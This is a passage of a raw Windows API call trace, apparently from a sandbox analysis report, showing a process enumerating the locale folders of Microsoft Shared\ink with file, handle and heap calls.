RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.518] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0045.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.519] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e0690 [0045.519] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e0690, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e0690, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e0690) returned 1 [0045.519] NtClose (Handle=0x164) returned 0x0 [0045.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.519] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.519] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.519] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de548 [0045.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9de9c0 [0045.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.520] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.520] GetLastError () returned 0x12 [0045.520] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.520] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.520] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.520] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.520] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.520] GetLastError () returned 0x12 [0045.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.520] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.520] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0045.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.521] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e0690 [0045.521] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e0690, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e0690, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e0690) returned 1 [0045.521] NtClose (Handle=0x160) returned 0x0 [0045.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.522] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.522] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.522] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de568 [0045.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9deac8 [0045.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.522] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.522] GetLastError () returned 0x12 [0045.522] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.522] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.522] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.522] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.522] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.522] GetLastError () returned 0x12 [0045.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.523] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.523] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0045.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.523] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e0690 [0045.523] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e0690, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e0690, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e0690) returned 1 [0045.523] NtClose (Handle=0x164) returned 0x0 [0045.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.523] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.524] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.524] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0045.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de588 [0045.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9debd0 [0045.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.524] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.524] GetLastError () returned 0x12 [0045.524] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.524] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.524] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.524] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.524] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.524] GetLastError () returned 0x12 [0045.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.524] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.524] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0045.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.525] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e0690 [0045.525] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e0690, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e0690, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.525] RtlFreeHeap 